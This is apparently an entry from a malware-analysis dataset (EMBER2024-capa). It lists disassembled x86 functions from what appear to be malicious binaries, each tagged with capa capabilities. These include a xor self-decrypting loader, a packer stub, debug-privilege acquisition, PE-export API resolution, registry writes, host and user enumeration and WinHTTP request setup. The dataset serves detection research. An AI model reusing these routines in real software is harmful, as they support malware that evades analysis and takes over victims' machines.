joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010694
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x100106a3
pop dword [ebp - 0x40]
mov eax, 0x74c28a7
sub eax, 0xf74b2204
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x46b39
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xdfff6132
sub ecx, 0xdfff0e85
xor edi, edi
add edi, eax
mov ebx, 0x7acbc01d
add ebx, 0x9538f5e3
add ebx, dword [ebp - 0x40]
mov esi, 0x3661774f
add dword [ebp - 8], edx
mov edx, dword [ebx]
mov dword [ebp - 0x14], 0x172dbea5
add edx, esi
sub dword [ebp - 0x34], 0x492026a7
mov dword [edi], edx
xor dword [ebp - 4], 0xadfd4c4a
add edi, 0x3e34bbfa
add edi, 0xc1cb440a
add ebx, 0xce0e078f
add ebx, 0x31f1f875
loop 0x100106f9
add eax, 0xa2952935
sub eax, 0xa293ebae
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x10008fff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000900e
pop dword [ebp - 0x20]
mov eax, 0x78ad1f2f
sub eax, 0x68ac8f21
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xc81c1d96
add dword [ebp - 0x30], 0x863627b5
mov dword [ebp - 0x2c], 0x9e949fde
sub dword [ebp - 0x2c], 0x6c615399
mov dword [ebp - 0x28], 0x3ebc7641
sub dword [ebp - 0x28], 0xf2703213
mov dword [ebp - 0x24], 0xd0c98895
add dword [ebp - 0x24], 0x2f36776b
lea eax, [ebp - 0x30]
push eax
mov eax, 0x1e95e781
sub eax, 0xe95477d
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xadfe42c4
add dword [ebp - 0x30], 0xc6742692
mov dword [ebp - 0x2c], 0xdd41fa09
sub dword [ebp - 0x2c], 0x9bd59894
mov dword [ebp - 0x28], 0x678029a8
sub dword [ebp - 0x28], 0x410bd3c
mov dword [ebp - 0x24], 0x2ab6c769
add dword [ebp - 0x24], 0xd5493897
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x7490427f
sub eax, 0x648fa277
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x33546
push 0
call eax
mov ecx, 0x83e3e19c
sub ecx, 0x83e3a66f
mov esi, eax
mov edi, 0xb26317c5
sub edi, 0xa2621fc5
add edi, dword [ebp - 0x20]
mov ebx, 0x2fe682d7
add ebx, 0xf9f3f109
xor dword [ebp - 0x14], edi
mov edx, dword [edi]
mov dword [ebp - 0xc], 0x2410fece
sub edx, ebx
mov dword [ebp - 0x1c], 0x6be791b7
mov dword [esi], edx
xor dword [ebp - 0x10], 0xe969b8df
add esi, 0x7a73dbca
add esi, 0x858c243a
add edi, 4
loop 0x10009130
add eax, 0xeb0bc578
sub eax, 0xeb0ae5f1
mov ebx, eax
add eax, 0x6e6201cd
sub eax, 0x6e6201c8
mov ecx, 0x8b27b98c
sub ecx, 0x7b27b98c
add ecx, dword [ebp - 0x20]
invalid
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6a
sub eax, 0x403d10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x1000120c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
mov edx, esi
call fcn.100061ec
test eax, eax
jne 0x10001304
mov eax, dword [ebp - 4]
push ebx
mov ebx, dword [ebp - 4]
and ebx, 0xfff
neg ebx
sbb ebx, ebx
shr eax, 0xc
neg ebx
add ebx, eax
mov eax, dword [ebp - 0xc]
push edi
lea edi, [eax + esi]
mov eax, ebx
shl eax, 0xc
push eax
mov dword [ebp - 0x18], edi
call fcn.10005157
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
je 0x100012ff
push dword [ebp - 4]
push edi
push esi
call sub.ntdll.dll_memcpy
and dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
add esp, 0xc
test ebx, ebx
jbe 0x100012d9
mov eax, esi
sub eax, edi
lea eax, [eax + ecx + 0x1000e7c7]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], esi
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov esi, str.Oct_27_2021
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x24]
xor eax, dword [ebp - 0x20]
push 1
sub eax, dword [ebp - 4]
mov esi, 0x1000
add eax, dword [ebp - 0xc]
lea eax, [eax + ecx - 1]
push eax
mov eax, esi
call fcn.10005243
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 4]
sub ecx, dword [eax + 8]
add dword [ebp - 8], esi
add ecx, dword [eax + 0xc]
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jb 0x1000128f
mov esi, dword [ebp - 0x14]
lea eax, [ecx - 0x69b25f44]
test eax, eax
jne 0x100012f4
sub esi, dword [ebp - 0x18]
mov dword [0x1000d2dc], ecx
mov dword [0x1000d2e0], esi
jmp 0x10001302
push esi
call fcn.100053bb
xor eax, eax
inc eax
jmp 0x10001302
push 8
pop eax
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x10001c94
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1000d2e0]
and dword [ebp - 4], 0
push ebx
lea eax, [eax + 0x1000ea98]
push eax
mov dword [ebp - 0xc], 4
call fcn.1000a3cc
mov ebx, eax
test ebx, ebx
je 0x10001d26
mov eax, dword [0x1000d2e0]
push edi
lea eax, [eax + 0x1000eaf4]
push eax
call fcn.1000a3cc
mov edi, eax
test edi, edi
je 0x10001d1f
lea eax, [ebp - 8]
push eax
push 0x20119
push 0
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10001d19
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10001d10
and dword [ebp - 4], 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.100053bb
push ebx
call fcn.100053bb
pop edi
mov eax, dword [ebp - 4]
pop ebx
leave
ret
Function at 0x10001df5
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x192
push 0x54d38000
push dword [ebp - 4]
push dword [ebp - 8]
call sub.ntdll.dll__aulldiv
push eax
mov dword [ebp - 8], eax
mov eax, dword [0x1000d2e0]
lea ecx, [eax + 0x1000e876]
push ecx
lea eax, [eax + 0x1000e59c]
push eax
lea eax, [ebp - 0x34]
push 0x16
push eax
mov dword [ebp - 4], edx
call sub.ntdll.dll__snwprintf
add esp, 0x14
lea eax, [ebp - 0x34]
push eax
push 0x1000
push 0
push 4
push 0x1000d2e4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
je 0x10001eaa
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0xb7
je 0x10001e78
push 2
pop edi
jmp 0x10001ea1
push 0
push 0
push 0
push 6
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x10001e99
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
xor edi, edi
jmp 0x10001eb2
call edi
mov edi, eax
test edi, edi
je 0x10001eb2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001eb2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret 8

Function at 0x10002cf8
Capabilities:
Hash data with md5

Disassembly:
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x10002d1c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor edi, edi
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push edi
push edi
push SysStringLen
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
cmp esi, edi
jne 0x10002e25
push ebx
push 8
pop esi
mov ebx, 0x104
push ebx
call fcn.10005157
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x10002e1b
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
push edi
push edi
push edi
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], ebx
push dword [ebp - 4]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov esi, eax
cmp esi, 0xea
jne 0x10002dcd
cmp dword [ebp - 8], ebx
jbe 0x10002da5
inc dword [ebp - 4]
xor esi, esi
jmp 0x10002def
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jbe 0x10002e13
push dword [ebp - 0x14]
call fcn.100053bb
mov eax, dword [ebp - 0xc]
push eax
mov dword [ebp - 0x10], eax
call fcn.10005157
mov dword [ebp - 0x14], eax
cmp eax, edi
jne 0x10002da1
push 8
pop esi
jmp 0x10002e13
cmp esi, edi
jne 0x10002e09
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.10004847
mov esi, eax
cmp esi, edi
jne 0x10002e09
push edi
push dword [0x1000d2a4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10002d6f
jmp 0x10002e13
cmp esi, 0x103
jne 0x10002e13
xor esi, esi
push dword [ebp - 0x18]
call fcn.100053bb
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret 4
Function at 0x1000458d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
test esi, esi
jne 0x100045c8
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x10004755
Capabilities:
Receive http response

Disassembly:
push esi
mov esi, eax
cmp dword [esi + 0xc], 0
jne 0x10004767
call fcn.10009eee
test eax, eax
jne 0x1000476f
mov eax, esi
pop esi
jmp fcn.1000202a
pop esi
ret

Function at 0x100060be
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x28
push 0x1000c2b8
call fcn.1000aec8
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov esi, 0x14c
cmp word [eax + 4], si
jne 0x100060ea
add eax, 0x78
jmp 0x100060ef
add eax, 0x88
mov esi, dword [eax]
add esi, ecx
cmp dword [eax], edx
je 0x100061dd
cmp dword [eax + 4], edx
je 0x100061dd
cmp dword [esi + 0x1c], edx
je 0x100061dd
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x28], eax
cmp eax, edx
je 0x100061dd
mov eax, dword [esi + 0x1c]
add eax, ecx
mov dword [ebp - 0x30], eax
cmp dword [esi + 0x24], edx
je 0x100061cd
mov edi, dword [esi + 0x24]
add edi, ecx
mov dword [ebp - 0x38], edi
mov ebx, dword [esi + 0x20]
add ebx, ecx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jae 0x100061dd
and dword [ebp - 0x1c], 0
xor eax, eax
inc eax
je 0x1000615e
movzx ecx, word [edi]
add ecx, dword [esi + 0x10]
cmp eax, ecx
jmp 0x1000618f
mov eax, dword [ebx]
add eax, ecx
mov dword [ebp - 0x2c], eax
xor ecx, ecx
inc ecx
je 0x1000617c
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10006198
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x1000618f
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x2c]
call fcn.1000680b
xor ecx, ecx
cmp ecx, eax
jne 0x10006198
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
je 0x100061b7
movzx eax, word [edi]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x20], eax
xor eax, eax
je 0x100061dd
mov ecx, dword [ebx]
add ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x100061dd
add ebx, 4
mov dword [ebp - 0x34], ebx
inc edi
inc edi
mov dword [ebp - 0x38], edi
inc dword [ebp - 0x24]
mov ecx, dword [ebp + 8]
jmp 0x1000613f
mov dword [ebp - 0x20], eax
jmp 0x100061dd
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
call fcn.1000af03
ret 4
Function at 0x100061ec
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [edx + 0x3c]
add ecx, edx
movzx edx, word [ecx + 0x14]
push esi
movzx esi, word [ecx + 6]
xor eax, eax
lea ecx, [edx + ecx + 0x18]
xor edx, edx
cmp dword [ecx + 4], eax
jne 0x10006211
cmp dword [ecx], 0x7373622e
jne 0x10006211
mov edx, ecx
add ecx, 0x28
dec esi
je 0x1000621b
cmp edx, eax
je 0x10006202
cmp edx, eax
je 0x1000623f
mov ecx, dword [edx + 0xc]
cmp ecx, eax
je 0x1000623b
mov edx, dword [edx + 0x10]
cmp edx, eax
je 0x1000623b
mov esi, dword [esp + 8]
mov dword [esi], ecx
mov ecx, dword [esp + 0xc]
mov dword [ecx], edx
jmp 0x10006242
push 0xb
jmp 0x10006241
push 2
pop eax
pop esi
ret 8

Function at 0x10006246
Capabilities:
Check os version

Disassembly:
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1000d2a4], eax
test eax, eax
je 0x100062b5
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x10006272
mov ecx, eax
shr ecx, 8
test cl, cl
ja 0x10006274
cmp al, al
jbe 0x100062b0
mov dword [0x1000d294], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esp + 4]
push eax
push 0
push 0x10047a
mov dword [0x1000d290], eax
mov dword [0x1000d29c], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x1000d28c], eax
test eax, eax
jne 0x100062ac
or dword [0x1000d28c], 0xffffffff
xor eax, eax
jmp 0x100062bb
push 0x32
pop eax
jmp 0x100062bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
ret 4

Function at 0x100063d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [ebp + 8], ebx
je 0x10006400
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10001d40
mov esi, eax
cmp esi, ebx
je 0x10006487
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
cmp esi, ebx
jne 0x10006487
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call esi
cmp dword [ebp + 8], ebx
je 0x10006479
push dword [ebp + 8]
call fcn.10005157
mov edi, eax
cmp edi, ebx
je 0x10006474
lea eax, [ebp + 8]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call esi
mov esi, eax
cmp esi, ebx
jne 0x1000646c
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
cmp eax, ebx
je 0x1000647e
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x1000647e
push edi
call fcn.100053bb
jmp 0x1000647e
push 8
pop esi
jmp 0x1000647e
mov esi, 0xe8
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
pop ebp
ret 0x18
Function at 0x10006706
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100067d3
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100067d3
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 2]
mov dword [ebp - 8], eax
push edi
shl eax, 2
push eax
call fcn.10005157
mov edi, eax
cmp edi, ebx
je 0x100067d2
mov eax, dword [ebp - 8]
push esi
lea esi, [edi + eax*2]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x100067cb
mov ecx, dword [ebp - 4]
push 0x40
pop eax
mov word [esi + ecx*2 - 2], ax
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
lea ecx, [ebp - 8]
push ecx
lea eax, [esi + eax*2]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x100067cb
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
push ebx
push ebx
lea ecx, [eax + eax + 2]
push ecx
push edi
push eax
push esi
push ebx
push 0xfde9
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x100067cb
mov byte [edi + eax], bl
mov dword [ebp - 0xc], edi
jmp 0x100067d1
push edi
call fcn.100053bb
pop esi
pop edi
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret

Function at 0x1000680b
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, eax
test edx, edx
je 0x10006850
or eax, 0xffffffff
test esi, esi
je 0x1000684c
push edi
mov cl, byte [edx]
movzx edi, al
movzx ecx, cl
xor edi, ecx
and edi, 0xf
shr eax, 4
xor eax, dword [edi*4 + 0x1000c258]
shr ecx, 4
mov edi, eax
and edi, 0xf
xor ecx, edi
shr eax, 4
xor eax, dword [ecx*4 + 0x1000c258]
dec esi
inc edx
test esi, esi
jne 0x1000681a
pop edi
not eax
jmp 0x10006852
xor eax, eax
not eax
pop esi
ret
Function at 0x10006856
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x20
call fcn.10005157
mov esi, eax
test esi, esi
je 0x1000692b
mov eax, dword [0x1000d2e0]
lea eax, [eax + 0x1000e11a]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [0x1000d2e0]
lea eax, [eax + 0x1000e782]
push eax
push ebx
mov dword [ebp - 4], 0x7f
call edi
mov dword [esi + 0xc], eax
test eax, eax
je 0x10006923
mov eax, dword [0x1000d2e0]
lea eax, [eax + 0x1000e76f]
push eax
push ebx
call edi
mov dword [esi + 0x10], eax
test eax, eax
je 0x10006923
mov eax, dword [0x1000d2e0]
lea eax, [eax + 0x1000e4ce]
push eax
push ebx
call edi
mov dword [esi + 0x14], eax
test eax, eax
je 0x10006923
mov eax, dword [0x1000d2e0]
lea eax, [eax + 0x1000e406]
push eax
push ebx
call edi
mov dword [esi + 0x18], eax
test eax, eax
je 0x10006923
mov eax, dword [0x1000d2e0]
lea eax, [eax + 0x1000e792]
push eax
push ebx
call edi
mov dword [esi + 0x1c], eax
test eax, eax
je 0x10006923
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [esi + 4], eax
mov eax, esi
mov dword [esi + 8], 0x40
call fcn.10005c55
mov dword [ebp - 4], eax
test eax, eax
jne 0x10006923
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
jmp 0x10006932
push esi
call fcn.100053bb
jmp 0x10006932
mov dword [ebp - 4], 8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10006abb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push ebx
push dword [ebp + 8]
call fcn.100010e9
mov esi, eax
test esi, esi
je 0x10006b39
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.ntdll.dll_memset
mov eax, dword [0x1000d2e0]
xor esi, esi
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
cmp dword [ebp + 0x10], esi
je 0x10006b01
lea eax, [eax + 0x1000e8f0]
jmp 0x10006b07
lea eax, [eax + 0x1000e4e8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], edi
call fcn.10007020
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x10006b32
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 1
call fcn.10007020
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10007648
Capabilities:
Check os version
Initialize winhttp library
Prepare http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push dword [ebp + 8]
call fcn.10003037
mov edi, eax
xor ebx, ebx
cmp edi, ebx
je 0x1000778e
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
ja 0x1000767b
jne 0x10007676
shr eax, 8
cmp al, 2
ja 0x1000767b
mov dword [ebp + 8], ebx
jmp 0x10007682
mov dword [ebp + 8], 4
push ebx
push ebx
push ebx
push dword [ebp + 8]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push edi
mov dword [esi + 0x10], eax
call fcn.100053bb
cmp dword [esi + 0x10], ebx
je 0x1000778e
push dword [esi]
call fcn.10003037
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x1000778e
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp dword [ebp + 0xc], ebx
je 0x100076d3
push 4
lea eax, [ebp + 0xc]
push eax
push 3
push dword [esi + 0x10]
call edi
test eax, eax
je 0x1000778e
push ebx
push 0x1bb
push dword [ebp - 4]
push dword [esi + 0x10]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push dword [ebp - 4]
mov dword [esi + 0x14], eax
call fcn.100053bb
cmp dword [esi + 0x14], ebx
je 0x1000778e
push dword [esi + 4]
mov dword [ebp + 8], 0x800100
call fcn.10003037
mov ebx, eax
xor ecx, ecx
cmp ebx, ecx
je 0x1000778e
push dword [ebp + 8]
mov eax, dword [0x1000d2e0]
push ecx
push ecx
push ecx
push ebx
lea eax, [eax + 0x1000e758]
push eax
push dword [esi + 0x14]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push ebx
mov dword [esi + 0x18], eax
call fcn.100053bb
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000778e
push 4
pop ebx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp + 8]
push ecx
push 0x1f
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
test eax, eax
je 0x1000776a
or dword [ebp + 8], 0x100
push ebx
lea eax, [ebp + 8]
push eax
push 0x1f
push dword [esi + 0x18]
call edi
push ebx
lea eax, [ebp + 0xc]
push eax
push 6
push dword [esi + 0x18]
call edi
test eax, eax
je 0x1000778e
push ebx
lea eax, [ebp + 0xc]
push eax
push 5
push dword [esi + 0x18]
call edi
test eax, eax
je 0x1000778e
xor eax, eax
jmp 0x10007794
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
leave
ret 8